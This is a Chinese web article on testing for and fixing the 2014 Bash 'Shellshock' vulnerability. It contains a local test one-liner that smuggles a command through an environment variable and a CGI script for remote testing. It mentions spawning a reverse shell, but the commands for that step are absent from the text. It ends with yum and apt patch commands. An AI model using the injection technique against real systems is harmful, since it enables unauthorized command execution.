您当前的位置:首页 > 学海无涯 > 信息安全网站首页信息安全
Bash漏洞
发布时间:2015-11-05作者:佚名
“Bash”漏洞测试方法
1)、本地测试
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2)、远程测试
首先用BASH写一个CGI
root@kali:/usr/lib/cgi-bin# cat bug.sh
#!/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">' echo '<title>PoC</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</html>' exit 0
放到/usr/lib/cgi-bin里,然后用curl访问
能打印出环境变量了。说明能够正常访问了。下面反弹一个SHELL
访问看结果:
Bash修复方法:
红帽系可通过更新 bash 并重启系统来解决这个问题:
# yum update bash
或者:
# yum update bash-4.1.2-15.el6_5.1
此举只是更新了 bash 包,还需要重启系统才能生效。
Ubuntu 用户可以通过如下命令打补丁,无需重启:
apt-get update
apt-get install bash
关键字词:漏洞,安全,bash
